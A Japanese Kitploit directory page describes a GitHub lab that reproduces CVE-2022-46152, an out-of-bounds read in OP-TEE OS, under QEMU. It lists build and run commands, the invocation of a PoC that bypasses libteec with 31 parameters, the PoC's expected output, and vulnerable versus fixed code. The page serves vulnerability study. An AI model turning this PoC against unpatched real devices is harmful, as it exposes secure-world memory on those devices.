Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-46152 — CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function. | Kitploit
ツール/GitHubGitHub/0xbbdd/cve-2022-46152
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingCTFLearning & EducationBinary ExploitationLabs & Practice
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() 領域外読み取り — 再現環境

Reference: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Security Advisory: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


脆弱性概要

項目詳細
脆弱性cleanup_shm_refs() は num_params を検証しません(理論上最大127、実際にはLinux TEE ioctl TEE_MAX_ARG_SIZE=1024 により31に制限されます)。一方、saved_attr[] はわずか4要素です。
影響を受けるバージョンOP-TEE OS < 3.19.0
発動条件Normal World が直接 ioctl 経由で num_params=31 の INVOKE リクエストを送信(libteec の4パラメータ制限をバイパス)
影響セキュアワールドスタックデータの領域外読み取り;スタック残存値がTMEMタイプと一致した場合、Use-After-Free が引き起こされます
修正cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b)

ディレクトリ構造

root@kitploit:~
CVE-2022-46152/
├── README.md                           # このファイル(英語)
├── README.zh.md                        # 中国語版
├── setup.sh                            # ワンコマンド環境セットアップ
├── run_qemu.sh                         # QEMU 起動
├── exploit.sh                          # 自動/手動再現スクリプト
├── cve-2022-46152-oob-emsg.patch       # OP-TEE OS デバッグパッチ (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU パッチ (pflash_write ノイズログ抑制)
├── poc/
│   ├── cve_2022_46152.c               # PoC エクスプロイトソース (libteec バイパス直接 ioctl)
│   └── Makefile                       # クロスコンパイル Makefile
├── docs/
│   └── vulnerability_analysis.md      # 詳細な技術的脆弱性分析
└── optee/                             # OP-TEE 環境 (setup.sh によって作成)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (脆弱バージョン)
    ├── build/                         # ビルドシステム (qemu_v8.mk)
    ├── linux/                         # Linux カーネル
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (ソース)
    └── out/bin/                       # ビルド成果物
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # Linux カーネルイメージ
        └── rootfs.cpio.gz             # PoC を含む rootfs

クイックスタート

1. 前提条件

root@kitploit:~
# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Verify
aarch64-linux-gnu-gcc --version
repo --version

2. リポジトリの初期化(公式ドキュメントに従う)

root@kitploit:~
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

注意: 3.18.0 タグを使用してください。このバージョンは CVE-2022-46152 の脆弱性を含んでおり、修正はまだ適用されていません。

3. ワンコマンドセットアップとビルド(30~60分)

root@kitploit:~
./setup.sh

このスクリプトは以下を行います:

  • repo sync を実行して全ソースコードを取得
  • ツールチェーンを設定(optee/toolchains/ が既に存在する場合はダウンロードをスキップ、それ以外は自動ダウンロード)
  • make all を実行して TF-A、OP-TEE OS 3.18.0、Linux、Buildroot をビルド
  • PoC エクスプロイトをクロスコンパイルし、rootfs に注入

4. QEMU 環境の起動

root@kitploit:~
# Open three terminals:

# Terminal 1 — Start QEMU:
./run_qemu.sh --no-gdb

# Terminal 2 — Normal World console (run after run_qemu.sh has started):
python3 optee/build/soc_term.py 54320

# Terminal 3 — Secure World (OP-TEE logs, run after run_qemu.sh has started):
python3 optee/build/soc_term.py 54321

注意: run_qemu.sh は内部的に soc_term.py をサーバーモードで起動し、54320/54321 で待ち受け、QEMU がクライアントとして接続します。上記のコマンドは実行中のインスタンスに接続する例であり、通常は手動で実行する必要はありません。

5. 脆弱性の再現

root@kitploit:~
# In the Normal World terminal (54320), after the login prompt appears:
(none) login: root

# Run the PoC
/root/cve_2022_46152

期待される出力

Normal World(Linux コンソール)

root@kitploit:~
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

注意: TEE_MAX_ARG_SIZE=1024 は1回の ioctl を最大31パラメータに制限します(libteec は4に制限)。それでも num_params=31 は OOB を引き起こすのに十分です(saved_attr[4..30] の27要素を範囲外読み取り)。

Secure World(OP-TEE TEE Core ログ)

root@kitploit:~
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

警告行 E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! は、cve-2022-46152-oob-emsg.patch パッチによって entry_std.c に追加された明示的なログであり、脆弱性のトリガーパスを確認するためのものです。cleanup_shm_refs はスタックから27個の余分な要素を範囲外で読み取ります。スタック残存値が TMEM タイプと一致した場合、mobj_put() の Use-After-Free が引き起こされる可能性があります。


脆弱なコードと修正コード

脆弱なバージョン (3.18.0)

root@kitploit:~
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* only 4 slots! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ BUG: num_params can be 127, OOB read of saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

修正バージョン (3.19.0, commit 728616b)

root@kitploit:~
    if (res != TEE_SUCCESS) {
        /* ✅ FIX: MIN(4, 127) = 4, no longer out of bounds */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

クイックコマンドリファレンス

root@kitploit:~
# Set up the environment
./setup.sh

# Start QEMU (with GDB debug port)
./run_qemu.sh

# Start QEMU (without waiting for GDB)
./run_qemu.sh --no-gdb

# Show manual reproduction steps
./exploit.sh --manual

# Automated reproduction (no extra terminals needed, output to current shell)
./exploit.sh

# Connect to Normal World console (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54320

# Connect to Secure World log (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54321

# Debug OP-TEE OS with GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

QEMU パッチノート

このリポジトリは、QEMU v7.0.0 にパッチ qemu-pflash-suppress-unimp-log.patch を適用し、VM 実行時の以下のノイズ出力を除去します。

root@kitploit:~
pflash_write: Write to buffer emulation is flawed

根本原因

hw/block/pflash_cfi01.c 内の pflash_write() は、CFI pflash の 0xe8(Write to buffer)コマンドを処理する際に qemu_log_mask(LOG_UNIMP, ...) を呼び出し、「未実装」警告を記録します。TF-A ファームウェアは起動中に pflash に書き込みを行い、このパスをトリガーし、毎回メッセージを出力します。

パッチ内容 (hw/block/pflash_cfi01.c)

case 0xe8 ブランチ内の qemu_log_mask(LOG_UNIMP, ...) 呼び出しを削除し、機能ロジックはそのままにします。

パッチの適用(オプション;既に optee/qemu/ に統合済み)

root@kitploit:~
cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

OP-TEE OS パッチノート

このリポジトリは、OP-TEE OS 3.18.0 にデバッグパッチ cve-2022-46152-oob-emsg.patch を適用し、脆弱性がトリガーされた際に Secure World UART に明示的な警告を出力することで、再現の確認を容易にします。

パッチ内容 (core/tee/entry_std.c)

  • #include <trace.h> を追加
  • entry_invoke_command() 内で、cleanup_shm_refs() 呼び出しの前に num_params > TEE_NUM_PARAMS を検出し、EMSG() で CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 を出力

⚠️ このパッチはデバッグ/デモンストレーション専用であり、セキュリティ修正ではありません。実際の修正は commit 728616b にあります。

パッチの適用(オプション;既に optee/optee_os/ に統合済み)

root@kitploit:~
cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os

参考文献

  • OP-TEE QEMU v8 公式ドキュメント
  • GHSA-65w8-6mrg-52g7 セキュリティアドバイザリ
  • 修正コミット 728616b
  • CVE-2022-46152 NVD
  • OP-TEE マニフェストリポジトリ
ツールをダウンロード